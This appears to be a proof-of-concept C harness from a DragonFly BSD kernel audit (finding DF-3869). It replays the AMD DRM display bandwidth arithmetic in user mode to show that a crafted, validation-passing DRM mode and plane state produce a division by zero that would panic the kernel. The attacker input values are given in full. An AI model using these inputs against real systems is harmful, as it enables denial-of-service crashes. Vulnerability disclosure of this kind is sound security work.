⬢ DragonFlyBSD Kernel Audit
DF-3869 / dce839_zero_div.c
← back to finding ↓ download raw
/*
 * DF-3869 PoC harness: user-mode replay of the exact kernel arithmetic that
 * produces a ZERO divisor at sys/dev/drm/amd/display/dc/calcs/dce_calcs.c:839
 * (horizontal_blank_and_chunk_granularity_factor) inside calculate_bandwidth(),
 * driven entirely by an unprivileged-supplied DRM mode + plane state.
 *
 * All fixed-point code below is copied VERBATIM from the DragonFly tree:
 *   - bw_frc_to_fixed / bw_int_to_fixed / bw_fixed_to_int semantics:
 *       sys/dev/drm/amd/display/dc/calcs/bw_fixed.c
 *       sys/dev/drm/amd/display/dc/inc/bw_fixed.h
 *   - dc_fixpt_from_fraction / dc_fixpt_truncate:
 *       sys/dev/drm/amd/display/dc/basics/fixpt31_32.c
 *       sys/dev/drm/amd/display/include/fixed31_32.h
 *   - fixed31_32_to_bw_fixed:  sys/dev/drm/amd/display/dc/inc/bw_fixed.h:87
 *   - the line 839 expression: dce_calcs.c:839 (copied 1:1)
 *   - the ratio pipeline:      dc_resource.c:731-753 calculate_scaling_ratios
 *
 * Attacker input (all UABI-legal, passes drm_mode_validate_basic):
 *   DRM mode blob: hdisplay=1, hsync_start=1, hsync_end=1, htotal=3,
 *                  vdisplay=16, vsync_start=16, vsync_end=17, vtotal=20,
 *                  clock=25000 (25 MHz)
 *   plane state:   FB 128x4, src rect (0,0,128,4), dst (crtc) rect (0,0,2,3)
 *
 * Expected: prints "DIVISOR == 0" for the line-839 outer bw_div, then a child
 * process performs the same integer division by zero the kernel would
 * (div64_u64_rem with divisor 0 => #DE) and dies with SIGFPE, proving the
 * faulting primitive. On real DCE110/DCE112 DC hardware (amdgpu DC path) this
 * executes in kernel context => panic.
 */
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/wait.h>

/* ---------------- verbatim fixed31_32 (32 fractional bits) ---------------- */
#define FIXED31_32_BITS_PER_FRACTIONAL_PART 32
struct fixed31_32 { long long value; };

struct fixed31_32 dc_fixpt_from_fraction(long long numerator, long long denominator)
{
	struct fixed31_32 res;
	int arg1_negative = numerator < 0;
	int arg2_negative = denominator < 0;
	unsigned long long arg1_value = arg1_negative ? -numerator : numerator;
	unsigned long long arg2_value = arg2_negative ? -denominator : denominator;
	unsigned long long remainder;
	unsigned long long res_value;
	unsigned long long summand;

	/* integer part */
	res_value = arg1_value / arg2_value;
	remainder = arg1_value % arg2_value;

	/* fractional part: 32 bits */
	for (unsigned int i = FIXED31_32_BITS_PER_FRACTIONAL_PART; i != 0; --i) {
		remainder <<= 1;
		res_value <<= 1;
		if (remainder >= arg2_value) { res_value |= 1; remainder -= arg2_value; }
	}
	summand = (remainder << 1) >= arg2_value;
	res_value += summand;
	res.value = (long long)res_value;
	if (arg1_negative ^ arg2_negative) res.value = -res.value;
	return res;
}

struct fixed31_32 dc_fixpt_truncate(struct fixed31_32 arg, unsigned int frac_bits)
{
	int negative = arg.value < 0;
	if (frac_bits >= FIXED31_32_BITS_PER_FRACTIONAL_PART) return arg;
	if (negative) arg.value = -arg.value;
	arg.value &= (~0LL) << (FIXED31_32_BITS_PER_FRACTIONAL_PART - frac_bits);
	if (negative) arg.value = -arg.value;
	return arg;
}

/* ---------------- verbatim bw_fixed (24 fractional bits) ------------------ */
#define BW_FIXED_BITS_PER_FRACTIONAL_PART 24
struct bw_fixed { int64_t value; };
#define BW_FIXED_GET_INTEGER_PART(x) ((x) >> BW_FIXED_BITS_PER_FRACTIONAL_PART)

static uint64_t abs_i64(int64_t arg)
{
	if (arg >= 0) return (uint64_t)(arg);
	else return (uint64_t)(-arg);
}

/* verbatim bw_frc_to_fixed, sys/dev/drm/amd/display/dc/calcs/bw_fixed.c:57 */
struct bw_fixed bw_frc_to_fixed(int64_t numerator, int64_t denominator)
{
	struct bw_fixed res;
	int arg1_negative = numerator < 0;
	int arg2_negative = denominator < 0;
	uint64_t arg1_value, arg2_value, remainder, res_value, summand;
	/* ASSERT(denominator != 0) compiles to WARN_ON in release: NOT fatal */
	arg1_value = abs_i64(numerator);
	arg2_value = abs_i64(denominator);
	res_value = arg1_value / arg2_value;		/* <-- kernel: divq; ==0 => #DE */
	remainder  = arg1_value % arg2_value;
	{
		uint32_t i = BW_FIXED_BITS_PER_FRACTIONAL_PART;
		do {
			remainder <<= 1;
			res_value <<= 1;
			if (remainder >= arg2_value) { res_value |= 1; remainder -= arg2_value; }
		} while (--i != 0);
	}
	summand = (remainder << 1) >= arg2_value;
	res_value += summand;
	res.value = (int64_t)(res_value);
	if (arg1_negative ^ arg2_negative) res.value = -res.value;
	return res;
}

static struct bw_fixed bw_int_to_fixed(int64_t value)
{
	struct bw_fixed r; r.value = value << BW_FIXED_BITS_PER_FRACTIONAL_PART; return r;
}
static int32_t bw_fixed_to_int(struct bw_fixed v) { return BW_FIXED_GET_INTEGER_PART(v.value); }
static struct bw_fixed bw_add(struct bw_fixed a, struct bw_fixed b){ struct bw_fixed r; r.value=a.value+b.value; return r; }
static struct bw_fixed bw_sub(struct bw_fixed a, struct bw_fixed b){ struct bw_fixed r; r.value=a.value-b.value; return r; }
static struct bw_fixed bw_div(struct bw_fixed a, struct bw_fixed b){ return bw_frc_to_fixed(a.value, b.value); }
static int bw_equ(struct bw_fixed a, struct bw_fixed b){ return a.value == b.value; }
static int bw_leq(struct bw_fixed a, struct bw_fixed b){ return a.value <= b.value; }
static int bw_mtn(struct bw_fixed a, struct bw_fixed b){ return a.value > b.value; }

/* verbatim fixed31_32_to_bw_fixed, bw_fixed.h:87 */
static struct bw_fixed fixed31_32_to_bw_fixed(int64_t raw)
{
	struct bw_fixed result = { 0 };
	if (raw < 0) { raw = -raw; result.value = -(raw >> (32 - 24)); }
	else result.value = raw >> (32 - 24);
	return result;
}

/* --------- attacker input (mirrors drm UABI validation exactly) ----------- */
struct drm_mode_modeinfo_local {
	uint32_t clock;
	uint16_t hdisplay, hsync_start, hsync_end, htotal, hskew;
	uint16_t vdisplay, vsync_start, vsync_end, vtotal, vscan;
};
static struct drm_mode_modeinfo_local mode = {
	.clock = 25000,
	.hdisplay = 1, .hsync_start = 1, .hsync_end = 1, .htotal = 3,
	.vdisplay = 16, .vsync_start = 16, .vsync_end = 17, .vtotal = 20,
};
int src_w = 128, src_h = 4, dst_w = 2, dst_h = 3;
int stream_src_w = 1, stream_dst_w = 1;		/* = mode hdisplay */
int stream_src_h = 16, stream_dst_h = 16;	/* = mode vdisplay */

int main(void)
{
	printf("== DF-3869 replay: dce_calcs.c:839 zero divisor ==\n");
	printf("mode: %ux%u htotal=%u vtotal=%u clock=%u kHz\n",
	       mode.hdisplay, mode.vdisplay, mode.htotal, mode.vtotal, mode.clock);
	printf("plane: src %dx%d dst %dx%d\n", src_w, src_h, dst_w, dst_h);

	/* 1. drm_mode_validate_basic (drm_modes.c:1103) replay */
	if (mode.clock == 0) { printf("mode rejected (clock)\n"); return 1; }
	if (mode.hdisplay == 0 || mode.hsync_start < mode.hdisplay ||
	    mode.hsync_end < mode.hsync_start || mode.htotal < mode.hsync_end) {
		printf("mode rejected (h)\n"); return 1;
	}
	if (mode.vdisplay == 0 || mode.vsync_start < mode.vdisplay ||
	    mode.vsync_end < mode.vsync_start || mode.vtotal < mode.vsync_end) {
		printf("mode rejected (v)\n"); return 1;
	}
	printf("[1] drm_mode_validate_basic: MODE_OK (mode accepted into adjusted_mode)\n");

	/* 2. calculate_scaling_ratios (dc_resource.c:731) replay, verbatim */
	struct fixed31_32 horz = dc_fixpt_from_fraction(src_w, dst_w);
	struct fixed31_32 vert = dc_fixpt_from_fraction(src_h, dst_h);
	/* vert.value = div64(vert * in_h, out_h); horz likewise with in_w/out_w */
	horz.value = (horz.value * stream_src_w) / stream_dst_w;
	vert.value = (vert.value * stream_src_h) / stream_dst_h;
	horz = dc_fixpt_truncate(horz, 19);
	vert = dc_fixpt_truncate(vert, 19);

	/* 3. calculate_viewport (dc_resource.c) replay:
	 *    clip = stream_src(1x16) inter plane dst(2x3) => 1x16
	 *    viewport.width  = clip.width  * src_w / dst_w
	 *    viewport.height = clip.height * src_h / dst_h */
	int clip_w = 1, clip_h = 16;
	int vp_w = clip_w * src_w / dst_w;		/* = 64  */
	int vp_h = clip_h * src_h / dst_h;		/* = 21  */
	printf("[2] viewport = %dx%d (must be >=16 to reach bw_calcs: %s)\n",
	       vp_w, vp_h, (vp_w >= 16 && vp_h >= 16) ? "PASS" : "FAIL");
	if (vp_w < 16 || vp_h < 16) { printf("resource_build_scaling_params fails\n"); return 1; }

	/* 4. populate_initial_data (dce_calcs.c:2793-2804) replay */
	struct bw_fixed h_total = bw_int_to_fixed(mode.htotal);		/* 3<<24 */
	struct bw_fixed src_width = bw_int_to_fixed(vp_w);		/* 64<<24 */
	struct bw_fixed hsr = fixed31_32_to_bw_fixed(horz.value);	/* 64<<24 */
	struct bw_fixed vsr = fixed31_32_to_bw_fixed(vert.value);	/* 4/3 */
	printf("[3] h_total=%lld raw (exp %d<<24=%d)  hsr=%lld (exp %d<<24=%d)  vsr=%lld (exp ~%d)\n",
	       (long long)h_total.value, mode.htotal, 1 << 24,
	       (long long)hsr.value, src_w / dst_w, (src_w / dst_w) << 24,
	       (long long)vsr.value, 0x1555555);

	/* 5. dce_calcs.c:475-478 (panning none): rounded up to 128 chunks */
	struct bw_fixed src_width_rounded = src_width;	/* ceil2(64,128)=128 irrelevant here */
	(void)src_width_rounded;

	/* 6. branch guards on the way to line 839:
	 *    - line 804: bw_mtn(vsr,1) && graphics  -> line_buffer_prefetch = 0
	 *    - line 820: bw_leq(vsr, 4/3) -> lb_lines_in_mid = 4/3 (not 2, not 4)
	 *    => else branch at 838 runs */
	if (!bw_mtn(vsr, bw_int_to_fixed(1))) { printf("vsr<=1: prefetch path\n"); return 1; }
	if (!bw_leq(vsr, bw_frc_to_fixed(4, 3))) { printf("vsr>4/3\n"); return 1; }
	printf("[4] branch guards hold: prefetch=0, lb_lines_mid=4/3 -> line 839 executes\n");

	/* 7. VERBATIM line 839 (only i-indexing removed): */
	const int chunk_width = 256;	/* dceip->chunk_width, all asic tables */
	struct bw_fixed divisor = bw_div(
		bw_add(h_total,
		       bw_div(bw_sub(src_width, bw_int_to_fixed(chunk_width)), hsr)),
		bw_int_to_fixed(2));

	printf("[5] dce_calcs.c:839 inner sum = %lld  -> outer divisor = %lld (raw)\n",
	       (long long)divisor.value * 2, (long long)divisor.value);

	if (divisor.value != 0) {
		printf("divisor nonzero -- replay mismatch, investigate\n");
		return 1;
	}
	printf("[6] *** DIVISOR == 0 CONFIRMED *** bw_div(h_total, divisor) now calls\n");
	printf("    bw_frc_to_fixed(n, 0) -> div64_u64_rem(n, 0) -> u64 '%%' 0\n");
	printf("    In-kernel on x86-64: divq with divisor 0 -> #DE -> trap_fatal -> PANIC\n");

	/* 8. demonstrate the division-by-zero fault primitive in a child */
	pid_t p = fork();
	if (p == 0) {
		volatile uint64_t z = (uint64_t)divisor.value;	/* 0 */
		volatile uint64_t n = (uint64_t)h_total.value;
		volatile uint64_t q;
		q = n % z;		/* same instruction class as kernel divq */
		if (q == 0xdeadbeefULL)	/* keep the division alive */
			_exit(3);
		_exit(0);
	}
	int st = 0;
	waitpid(p, &st, 0);
	if (WIFSIGNALED(st) && WTERMSIG(st) == 8)
		printf("[7] child performed the same integer division: killed by SIGFPE (#DE analog)\n");
	else
		printf("[7] child status %d (unexpected)\n", st);

	/* 9. secondary sink, dce_calcs.c:1945 (mechanism demo):
	 *    uint32 stutter_dmif_buffer_size truncated by bw_fixed_to_int. */
	struct bw_fixed size_one_half = { 0x800000 };	/* 0.5 in 24.24 */
	uint32_t min_stutter_dmif_buffer_size = bw_fixed_to_int(size_one_half);
	uint32_t total_bytes_requested = 1000;
	printf("[8] sink 2 mechanism: bw_fixed_to_int(0.5)=%u -> total_bytes_requested/%u\n",
	       min_stutter_dmif_buffer_size, min_stutter_dmif_buffer_size);
	p = fork();
	if (p == 0) {
		volatile uint32_t d = min_stutter_dmif_buffer_size;	/* 0 */
		volatile uint32_t r;
		r = total_bytes_requested / d;		/* dce_calcs.c:1945 verbatim */
		if (r == 0xdeadbeefU)			/* keep the division alive */
			_exit(3);
		_exit(0);
	}
	waitpid(p, &st, 0);
	if (WIFSIGNALED(st) && WTERMSIG(st) == 8)
		printf("[9] dce_calcs.c:1945 u32/u32 by zero: child SIGFPE (#DE analog)\n");
	else
		printf("[9] child status %d (unexpected)\n", st);
	printf("== END DF-3869 replay ==\n");
	return 0;
}